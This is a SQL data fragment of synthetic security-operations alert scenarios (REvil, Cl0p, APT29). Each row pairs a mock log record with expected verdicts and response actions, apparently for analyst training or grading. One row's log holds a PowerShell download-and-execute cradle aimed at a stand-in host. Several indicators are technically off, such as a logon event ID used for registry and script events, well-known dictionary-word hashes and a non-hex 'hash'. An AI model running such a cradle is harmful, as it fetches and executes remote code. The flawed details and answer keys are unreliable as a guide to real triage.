(424, 'Suspicious PowerShell Script Execution', 'high', 'Endpoint Detection and Response (EDR) System', 'A PowerShell script was executed on the endpoint, potentially indicating malicious activity consistent with REvil ransomware tactics. The script was observed executing commands to download additional payloads from a known malicious IP.', 'Execution', 'T1059.001', 1, 'new', NULL, '{\"timestamp\":\"2023-10-05T13:45:27Z\",\"event_id\":\"4624\",\"computer_name\":\"DESKTOP-3FQ7K9R\",\"user\":\"johndoe\",\"process_name\":\"C:\\\\Windows\\\\System32\\\\WindowsPowerShell\\\\v1.0\\\\powershell.exe\",\"command_line\":\"powershell -NoProfile -ExecutionPolicy Bypass -File C:\\\\Users\\\\johndoe\\\\AppData\\\\Local\\\\Temp\\\\malicious_script.ps1\",\"file_hash\":\"d41d8cd98f00b204e9800998ecf8427e\",\"source_ip\":\"192.168.1.15\",\"destination_ip\":\"203.0.113.45\",\"destination_port\":\"443\",\"filename\":\"malicious_script.ps1\"}', '2026-01-04 04:25:30', '2026-01-11 01:09:19', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"Known C2 server associated with REvil ransomware\"}},{\"id\":\"artifact_2\",\"type\":\"hash\",\"value\":\"d41d8cd98f00b204e9800998ecf8427e\",\"is_critical\":true,\"osint_result\":{\"source\":\"MalwareBazaar\",\"verdict\":\"malicious\",\"details\":\"Hash associated with REvil ransomware payload\"}},{\"id\":\"artifact_3\",\"type\":\"filename\",\"value\":\"malicious_script.ps1\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Analysis\",\"verdict\":\"suspicious\",\"details\":\"Unusual script execution in user temp directory\"}},{\"id\":\"artifact_4\",\"type\":\"username\",\"value\":\"johndoe\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Database\",\"verdict\":\"internal\",\"details\":\"Known user account on the network\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"collect_forensics\",\"escalate\"]}', 'Intermediate', 'NULL', 1, 0, NULL),
(425, 'Persistence Mechanism Established', 'high', 'Registry Changes Monitoring', 'The REvil ransomware has established persistence by modifying registry keys, ensuring they retain access after a system reboot. This action is indicative of a sophisticated attack aimed at maintaining long-term access to the compromised system.', 'Persistence', 'T1547.001', 1, 'new', NULL, '{\"timestamp\":\"2023-10-15T02:15:45Z\",\"event_id\":\"4624\",\"event_type\":\"Registry Change Detected\",\"host\":\"compromised-host.local\",\"user\":\"administrator\",\"ip_address\":\"192.168.1.10\",\"external_ip\":\"185.92.220.65\",\"registry_key\":\"HKLM\\\\Software\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Run\\\\maliciousApp\",\"registry_value\":\"C:\\\\ProgramData\\\\REvil\\\\malicious.exe\",\"hash\":\"5d41402abc4b2a76b9719d911017c592\",\"description\":\"Registry key modified to establish persistence by REvil malware.\"}', '2026-01-04 04:25:33', '2026-01-11 01:09:19', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"192.168.1.10\",\"is_critical\":false,\"osint_result\":{\"source\":\"internal\",\"verdict\":\"internal\",\"details\":\"Internal IP address of the compromised system.\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"185.92.220.65\",\"is_critical\":true,\"osint_result\":{\"source\":\"malicious_ip_database\",\"verdict\":\"malicious\",\"details\":\"Identified as a command and control server related to REvil activity.\"}},{\"id\":\"artifact_3\",\"type\":\"hash\",\"value\":\"5d41402abc4b2a76b9719d911017c592\",\"is_critical\":true,\"osint_result\":{\"source\":\"malware_hash_registry\",\"verdict\":\"malicious\",\"details\":\"Known hash associated with REvil ransomware executable.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"collect_forensics\"]}', 'Intermediate', 'NULL', 1, 0, NULL),
(426, 'Lateral Movement via RDP', 'high', 'Network Traffic Analysis', 'Anomalous RDP connection detected from a known malicious IP address using stolen credentials. This activity matches the lateral movement tactics commonly associated with the REvil group, indicating an attempt to expand access within the network.', 'Lateral Movement', 'T1021.001', 1, 'new', NULL, '{\"timestamp\":\"2023-10-12T14:23:45Z\",\"src_ip\":\"185.92.220.25\",\"dest_ip\":\"192.168.1.10\",\"username\":\"j.doe\",\"login_method\":\"RDP\",\"event_id\":\"4624\",\"event_type\":\"Logon\",\"logon_type\":\"10\",\"status\":\"Success\",\"hash\":\"e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855\",\"filename\":\"malicious_rdp_session.exe\"}', '2026-01-04 04:25:33', '2026-01-11 01:09:19', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"185.92.220.25\",\"is_critical\":true,\"osint_result\":{\"source\":\"Threat Intelligence Feed\",\"verdict\":\"malicious\",\"details\":\"IP associated with REvil operations\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"192.168.1.10\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Network\",\"verdict\":\"internal\",\"details\":\"Destination IP within internal network\"}},{\"id\":\"artifact_3\",\"type\":\"username\",\"value\":\"j.doe\",\"is_critical\":false,\"osint_result\":{\"source\":\"Active Directory\",\"verdict\":\"internal\",\"details\":\"Valid user account within the organization\"}},{\"id\":\"artifact_4\",\"type\":\"hash\",\"value\":\"e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"Known hash for malicious RDP session file\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\"]}', 'intermediate', 'NULL', 1, 0, NULL),
(427, 'Data Exfiltration Detected', 'high', 'Data Loss Prevention (DLP) System', 'The DLP system detected a large volume of sensitive data being transferred to an unauthorized external IP address. The data includes financial documents and proprietary design files. The activity is consistent with the REvil attack chain, indicating a potential preparation for ransomware deployment.', 'Exfiltration', 'T1048: Exfiltration Over Alternative Protocol', 1, 'new', NULL, '{\"timestamp\":\"2023-10-14T16:42:00Z\",\"event_id\":\"EXFIL-2023-0005\",\"source_ip\":\"192.168.4.25\",\"destination_ip\":\"203.0.113.45\",\"file_hash\":\"3f786850e387550fdab836ed7e6dc881de23001b\",\"file_name\":\"financial_report_q3_2023.xlsx\",\"username\":\"jdoe\",\"action\":\"exfiltration\",\"protocol\":\"HTTPS\",\"data_size\":\"2GB\",\"malware_association\":\"REvil\",\"risk_score\":85}', '2026-01-04 04:25:33', '2026-01-11 01:09:19', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"192.168.4.25\",\"is_critical\":false,\"osint_result\":{\"source\":\"internal database\",\"verdict\":\"internal\",\"details\":\"Internal IP address of user\'s workstation\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"threat intelligence\",\"verdict\":\"malicious\",\"details\":\"IP address associated with known malicious activities\"}},{\"id\":\"artifact_3\",\"type\":\"hash\",\"value\":\"3f786850e387550fdab836ed7e6dc881de23001b\",\"is_critical\":true,\"osint_result\":{\"source\":\"malware database\",\"verdict\":\"malicious\",\"details\":\"Hash associated with REvil exfiltration tools\"}},{\"id\":\"artifact_4\",\"type\":\"filename\",\"value\":\"financial_report_q3_2023.xlsx\",\"is_critical\":false,\"osint_result\":{\"source\":\"internal\",\"verdict\":\"clean\",\"details\":\"Standard financial document\"}},{\"id\":\"artifact_5\",\"type\":\"username\",\"value\":\"jdoe\",\"is_critical\":false,\"osint_result\":{\"source\":\"internal\",\"verdict\":\"internal\",\"details\":\"User of the affected machine\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"collect_forensics\",\"escalate\"]}', 'Intermediate', 'NULL', 1, 0, NULL),
(428, 'Spear Phishing Email Detected', 'high', 'Email Gateway Logs', 'A spear phishing email has been detected targeting key employees, originating from a known malicious IP address associated with the Cl0p ransomware group. The email contains a crafted attachment designed to deploy an initial payload and harvest credentials.', 'Initial Access', 'T1566.001', 1, 'investigating', 49, '{\"timestamp\":\"2023-10-12T08:30:00Z\",\"source_ip\":\"203.0.113.45\",\"destination_ip\":\"10.0.5.23\",\"recipient\":\"j.doe@company.com\",\"sender\":\"support@security-update.com\",\"subject\":\"Urgent: Security Update Required\",\"attachment\":\"Security_Update.exe\",\"attachment_hash\":\"f2a6b7a8c9d4e6f8b5c4d6e7f8a9b0c1\",\"user_agent\":\"Mozilla/5.0 (Windows NT 10.0; Win64; x64)\",\"message_id\":\"<20231012083000.123456@company.com>\"}', '2026-01-04 04:38:04', '2026-01-11 01:09:19', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"Threat Intelligence Platform\",\"verdict\":\"malicious\",\"details\":\"IP associated with Cl0p ransomware group.\"}},{\"id\":\"artifact_2\",\"type\":\"email\",\"value\":\"support@security-update.com\",\"is_critical\":true,\"osint_result\":{\"source\":\"Phishing Database\",\"verdict\":\"malicious\",\"details\":\"Email used in prior spear phishing campaigns.\"}},{\"id\":\"artifact_3\",\"type\":\"hash\",\"value\":\"f2a6b7a8c9d4e6f8b5c4d6e7f8a9b0c1\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"Hash matches known Cl0p payload.\"}},{\"id\":\"artifact_4\",\"type\":\"email\",\"value\":\"j.doe@company.com\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Database\",\"verdict\":\"internal\",\"details\":\"Employee email address.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"]}', 'Intermediate', 'NULL', 1, 0, NULL),
(429, 'Malicious Script Execution', 'high', 'Endpoint Detection and Response (EDR)', 'A malicious script was executed on the endpoint to download and execute additional payloads, establishing a backdoor for persistent control. This follows a successful phishing attack.', 'Execution', 'T1059.001', 1, 'new', NULL, '{\"timestamp\":\"2023-10-12T08:45:33Z\",\"event_type\":\"process_creation\",\"host_ip\":\"10.12.34.56\",\"username\":\"johndoe\",\"process_name\":\"powershell.exe\",\"command_line\":\"powershell -nop -w hidden -c IEX (New-Object Net.WebClient).DownloadString(\'http://malicious.site/payload.ps1\')\",\"file_hash\":\"ebd0c9b9a1d3b3c4f5a6d7e8f9a0b1c2d3e4f5g6h7i8j9k0\",\"attacker_ip\":\"203.0.113.45\",\"file_name\":\"payload.ps1\",\"process_id\":4521}', '2026-01-04 04:38:04', '2026-01-11 01:09:19', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"Threat Intelligence Platform\",\"verdict\":\"malicious\",\"details\":\"IP associated with multiple malware distribution campaigns.\"}},{\"id\":\"artifact_2\",\"type\":\"hash\",\"value\":\"ebd0c9b9a1d3b3c4f5a6d7e8f9a0b1c2d3e4f5g6h7i8j9k0\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"Hash matches known backdoor installation scripts.\"}},{\"id\":\"artifact_3\",\"type\":\"filename\",\"value\":\"payload.ps1\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Analysis\",\"verdict\":\"suspicious\",\"details\":\"Unusual script executed post-phishing attack.\"}},{\"id\":\"artifact_4\",\"type\":\"ip\",\"value\":\"10.12.34.56\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Network\",\"verdict\":\"internal\",\"details\":\"IP address of compromised host.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"collect_forensics\"]}', 'Intermediate', 'NULL', 1, 0, NULL),
(430, 'Establishing Persistence via Registry Modification', 'high', 'Windows Registry Logs', 'Cl0p has been observed modifying registry keys to ensure their backdoor persists through system reboots. This technique is used to maintain a foothold in the system and evade basic detection.', 'Persistence', 'T1547.001', 1, 'new', NULL, '{\"timestamp\":\"2023-10-23T14:22:35Z\",\"event_id\":4657,\"user\":\"administrator\",\"computer_name\":\"WIN-12AB34CD56\",\"registry_key_path\":\"HKLM\\\\SOFTWARE\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Run\",\"registry_value_name\":\"MaliciousApp\",\"registry_value_data\":\"\\\"C:\\\\Windows\\\\System32\\\\malicious.exe\\\"\",\"source_ip\":\"192.168.1.100\",\"attacker_ip\":\"203.0.113.45\",\"file_hash\":\"5f4dcc3b5aa765d61d8327deb882cf99\"}', '2026-01-04 04:38:04', '2026-01-11 01:09:19', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"OSINT Database\",\"verdict\":\"malicious\",\"details\":\"IP associated with known Cl0p APT activities.\"}},{\"id\":\"artifact_2\",\"type\":\"hash\",\"value\":\"5f4dcc3b5aa765d61d8327deb882cf99\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"File hash matches known Cl0p malware sample.\"}},{\"id\":\"artifact_3\",\"type\":\"filename\",\"value\":\"malicious.exe\",\"is_critical\":false,\"osint_result\":{\"source\":\"Local Threat Database\",\"verdict\":\"suspicious\",\"details\":\"File name commonly used by Cl0p group.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"collect_forensics\",\"escalate\"]}', 'Intermediate', 'NULL', 1, 0, NULL),
(431, 'Credential Dumping in Progress', 'critical', 'Security Information and Event Management (SIEM)', 'With persistence established, Cl0p begins dumping credentials from memory, preparing to infiltrate additional systems within the network.', 'Lateral Movement', 'T1003 - Credential Dumping', 1, 'new', NULL, '{\"timestamp\":\"2023-10-12T14:23:45Z\",\"event_id\":\"4624\",\"source_ip\":\"185.92.220.45\",\"destination_ip\":\"192.168.1.25\",\"username\":\"admin_user\",\"process_name\":\"lsass.exe\",\"dump_file\":\"C:\\\\Windows\\\\Temp\\\\dumplog.dmp\",\"hash\":\"ab56b4d92b40713acc5af89985d4b786\",\"event_type\":\"Credential Dumping\",\"message\":\"Credential dumping detected from memory using lsass.exe.\"}', '2026-01-04 04:38:04', '2026-01-11 01:09:19', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"185.92.220.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"Threat Intelligence Platform\",\"verdict\":\"malicious\",\"details\":\"IP associated with Cl0p APT activities\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"192.168.1.25\",\"is_critical\":true,\"osint_result\":{\"source\":\"Internal Network\",\"verdict\":\"internal\",\"details\":\"Internal host targeted for credential dumping\"}},{\"id\":\"artifact_3\",\"type\":\"username\",\"value\":\"admin_user\",\"is_critical\":true,\"osint_result\":{\"source\":\"Internal Directory\",\"verdict\":\"suspicious\",\"details\":\"High privilege user account targeted\"}},{\"id\":\"artifact_4\",\"type\":\"filename\",\"value\":\"lsass.exe\",\"is_critical\":true,\"osint_result\":{\"source\":\"System Logs\",\"verdict\":\"suspicious\",\"details\":\"File used for storing dumped credentials\"}},{\"id\":\"artifact_5\",\"type\":\"hash\",\"value\":\"ab56b4d92b40713acc5af89985d4b786\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"Hash associated with credential dumping tools\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\"]}', 'Expert', 'NULL', 1, 0, NULL),
(432, 'Data Exfiltration via Encrypted Channel', 'high', 'Network Traffic Analysis', 'In the final phase of the operation, Cl0p utilized encrypted channels to exfiltrate sensitive data from the network, leveraging legitimate file transfer protocols such as SFTP to avoid detection.', 'Exfiltration', 'T1048.003 - Exfiltration Over Alternative Protocol', 1, 'new', NULL, '{\"timestamp\":\"2023-10-12T14:30:00Z\",\"event\":\"Data Exfiltration\",\"source_ip\":\"10.0.0.15\",\"destination_ip\":\"185.100.87.200\",\"protocol\":\"SFTP\",\"file_name\":\"financial_report_2023.zip\",\"file_hash\":\"5d41402abc4b2a76b9719d911017c592\",\"user\":\"jdoe\",\"encryption\":\"AES256\",\"bytes_transferred\":5242880,\"connection_duration\":360}', '2026-01-04 04:38:04', '2026-01-11 01:09:19', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"10.0.0.15\",\"is_critical\":true,\"osint_result\":{\"source\":\"Internal Network\",\"verdict\":\"internal\",\"details\":\"Internal IP address of compromised host.\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"185.100.87.200\",\"is_critical\":true,\"osint_result\":{\"source\":\"Threat Intelligence\",\"verdict\":\"malicious\",\"details\":\"Identified as a command-and-control server associated with Cl0p.\"}},{\"id\":\"artifact_3\",\"type\":\"filename\",\"value\":\"financial_report_2023.zip\",\"is_critical\":false,\"osint_result\":{\"source\":\"File Analysis\",\"verdict\":\"suspicious\",\"details\":\"Sensitive file potentially exfiltrated.\"}},{\"id\":\"artifact_4\",\"type\":\"hash\",\"value\":\"5d41402abc4b2a76b9719d911017c592\",\"is_critical\":true,\"osint_result\":{\"source\":\"Malware Database\",\"verdict\":\"malicious\",\"details\":\"File hash matches known stolen data set.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"collect_forensics\"]}', 'Intermediate', 'NULL', 1, 0, NULL),
(433, 'Suspicious Login Attempts Detected', 'high', 'SIEM', 'Initial access is attempted through a series of password spraying attacks targeting cloud accounts of diplomatic personnel.', 'Password Spraying', 'T1110.003', 1, 'new', NULL, '{\"timestamp\":\"2023-10-05T08:45:23Z\",\"event_source\":\"cloud.service\",\"event_type\":\"login_attempt\",\"user\":\"diplomat_user\",\"source_ip\":\"203.0.113.45\",\"destination_ip\":\"192.168.1.10\",\"success\":false,\"attempt_count\":15,\"user_agent\":\"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.102 Safari/537.36\",\"attack_pattern\":\"Password Spraying\",\"associated_hash\":\"3b819b83b28c8d1d1d1e6d1d4f5f3f9f\",\"malicious\":true}', '2026-01-04 23:55:22', '2026-01-11 01:09:19', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"Threat Intelligence Database\",\"verdict\":\"malicious\",\"details\":\"IP associated with known APT29 password spraying campaigns.\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"192.168.1.10\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Network\",\"verdict\":\"internal\",\"details\":\"Internal IP of targeted cloud account.\"}},{\"id\":\"artifact_3\",\"type\":\"hash\",\"value\":\"3b819b83b28c8d1d1d1e6d1d4f5f3f9f\",\"is_critical\":true,\"osint_result\":{\"source\":\"Malware Analysis Platform\",\"verdict\":\"suspicious\",\"details\":\"Hash associated with unauthorized access attempts.\"}},{\"id\":\"artifact_4\",\"type\":\"username\",\"value\":\"diplomat_user\",\"is_critical\":true,\"osint_result\":{\"source\":\"Internal Systems\",\"verdict\":\"clean\",\"details\":\"Valid diplomatic personnel cloud account.\"}}],\"recommended_actions\":[\"block_ip\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"block_ip\",\"reset_credentials\",\"collect_forensics\"]}', 'Intermediate', 'NULL', 1, 0, NULL),
(434, 'Unusual Token Usage Pattern', 'high', 'Cloud Access Security Broker (CASB)', 'Anomalous token usage detected following a successful password spraying attack. Stolen tokens were used to bypass MFA, indicating potential privilege escalation attempts.', 'Token Theft', 'T1078 - Valid Accounts', 1, 'new', NULL, '{\"timestamp\":\"2023-10-15T14:32:00Z\",\"event_source\":\"CASB\",\"event_type\":\"Token Usage\",\"user\":\"jdoe@corporate.com\",\"source_ip\":\"203.0.113.45\",\"destination_ip\":\"10.1.10.5\",\"token_id\":\"f47ac10b-58cc-4372-a567-0e02b2c3d479\",\"file_accessed\":\"/secure/finance_reports/q3_2023.pdf\",\"token_status\":\"anomalous\",\"related_hash\":\"e99a18c428cb38d5f260853678922e03\",\"context\":\"Token used to access privileged resources without MFA verification\"}', '2026-01-04 23:55:22', '2026-01-11 01:09:19', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"Threat Intelligence Feed\",\"verdict\":\"malicious\",\"details\":\"IP associated with known APT29 activities.\"}},{\"id\":\"artifact_2\",\"type\":\"username\",\"value\":\"jdoe@corporate.com\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Logs\",\"verdict\":\"internal\",\"details\":\"Employee account used in suspicious activity.\"}},{\"id\":\"artifact_3\",\"type\":\"hash\",\"value\":\"e99a18c428cb38d5f260853678922e03\",\"is_critical\":true,\"osint_result\":{\"source\":\"Malware Database\",\"verdict\":\"suspicious\",\"details\":\"Hash associated with anomalous token usage tools.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"block_ip\",\"reset_credentials\",\"collect_forensics\"]}', 'Intermediate', 'NULL', 1, 0, NULL),
(435, 'Creation of Unauthorized OAuth Applications', 'high', 'Cloud Application Logs', 'An unauthorized OAuth application was created, indicating potential abuse for persistent access to cloud email systems.', 'OAuth Abuse', 'T1550.001 - OAuth Abuse', 1, 'new', NULL, '{\"timestamp\":\"2023-10-12T14:23:45Z\",\"event_id\":\"oauth-creation-5678\",\"action\":\"create_oauth_app\",\"user\":\"compromised_user@example.com\",\"application_name\":\"RogueApp\",\"application_id\":\"app-123456789\",\"client_id\":\"client-98765\",\"source_ip\":\"203.0.113.45\",\"internal_ip\":\"192.168.1.10\",\"indicators\":{\"malicious_ip\":\"203.0.113.45\",\"username\":\"compromised_user@example.com\"}}', '2026-01-04 23:55:22', '2026-01-11 01:09:19', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"Threat Intelligence Platform\",\"verdict\":\"malicious\",\"details\":\"IP associated with known OAuth abuse campaigns.\"}},{\"id\":\"artifact_2\",\"type\":\"username\",\"value\":\"compromised_user@example.com\",\"is_critical\":true,\"osint_result\":{\"source\":\"Internal Security Logs\",\"verdict\":\"suspicious\",\"details\":\"User credentials likely compromised.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"block_ip\",\"reset_credentials\",\"collect_forensics\",\"escalate\"]}', 'Intermediate', 'NULL', 1, 0, NULL),
(436, 'Lateral Movement Detected in Cloud Environment', 'high', 'Network Traffic Analysis', 'A lateral movement within the cloud infrastructure was detected. The attacker, leveraging existing access, targeted additional diplomatic cloud accounts. Indicators of compromise involved suspicious internal IP communications and unauthorized access from a known malicious IP.', 'Cloud Exploitation', 'T1550.004 - Cloud Instance Metadata API', 1, 'new', NULL, '{\"timestamp\":\"2023-10-25T14:45:32Z\",\"source_ip\":\"192.168.1.102\",\"destination_ip\":\"10.0.5.23\",\"external_ip\":\"203.0.113.45\",\"user\":\"diplomatic_user_x\",\"action\":\"login_attempt\",\"status\":\"success\",\"hash\":\"3fa85f64-5717-4562-b3fc-2c963f66afa6\",\"filename\":\"malicious_script.sh\",\"description\":\"Detected lateral movement from internal IP 192.168.1.102 to 10.0.5.23 with successful login using diplomatic_user_x. External IP 203.0.113.45 has known malicious activity associated with APT29.\",\"indicator_type\":\"Cloud Exploitation\",\"notable_tool\":\"OAuth Abuse\"}', '2026-01-04 23:55:22', '2026-01-11 01:09:19', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"Threat Intelligence Feed\",\"verdict\":\"malicious\",\"details\":\"IP address associated with known APT29 campaigns.\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"192.168.1.102\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Monitoring\",\"verdict\":\"internal\",\"details\":\"Internal network IP involved in lateral movement.\"}},{\"id\":\"artifact_3\",\"type\":\"username\",\"value\":\"diplomatic_user_x\",\"is_critical\":true,\"osint_result\":{\"source\":\"Internal Monitoring\",\"verdict\":\"suspicious\",\"details\":\"Unusual login pattern detected.\"}},{\"id\":\"artifact_4\",\"type\":\"hash\",\"value\":\"3fa85f64-5717-4562-b3fc-2c963f66afa6\",\"is_critical\":true,\"osint_result\":{\"source\":\"Malware Database\",\"verdict\":\"malicious\",\"details\":\"Hash corresponds to a known malicious script used by APT29.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"]}', 'Intermediate', 'NULL', 1, 0, NULL),
(437, 'Data Exfiltration Alert', 'high', 'Data Loss Prevention (DLP) System', 'In the final stage of the operation, attackers attempted to exfiltrate sensitive diplomatic communications and data. The DLP system detected unusual data transfer activities originating from an internal host to an external IP address associated with known malicious activity.', 'Data Exfiltration', 'T1002: Data Compressed', 1, 'new', NULL, '{\"timestamp\":\"2023-10-15T14:23:07Z\",\"source_ip\":\"10.0.2.15\",\"destination_ip\":\"203.0.113.45\",\"user\":\"jdoe\",\"action\":\"data_transfer\",\"file_transferred\":\"diplomatic_communications.zip\",\"file_hash\":\"3b5d5c3712955042212316173ccf37be\",\"protocol\":\"HTTPS\",\"alert_id\":\"DLP-20231015-001\",\"description\":\"Unusual data transfer detected to external IP\",\"malware_association\":\"APT29\"}', '2026-01-04 23:55:22', '2026-01-11 01:09:19', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"Threat Intelligence Feed\",\"verdict\":\"malicious\",\"details\":\"Known C2 server associated with APT29\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"10.0.2.15\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Network\",\"verdict\":\"internal\",\"details\":\"Internal host within corporate network\"}},{\"id\":\"artifact_3\",\"type\":\"filename\",\"value\":\"diplomatic_communications.zip\",\"is_critical\":true,\"osint_result\":{\"source\":\"File Analysis\",\"verdict\":\"suspicious\",\"details\":\"Contains sensitive diplomatic communications\"}},{\"id\":\"artifact_4\",\"type\":\"hash\",\"value\":\"3b5d5c3712955042212316173ccf37be\",\"is_critical\":true,\"osint_result\":{\"source\":\"Hash Repository\",\"verdict\":\"malicious\",\"details\":\"Hash associated with APT29 exfiltration tactics\"}},{\"id\":\"artifact_5\",\"type\":\"username\",\"value\":\"jdoe\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal User Directory\",\"verdict\":\"internal\",\"details\":\"User within the organization\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"collect_forensics\",\"escalate\"]}', 'Advanced', 'NULL', 1, 0, NULL),
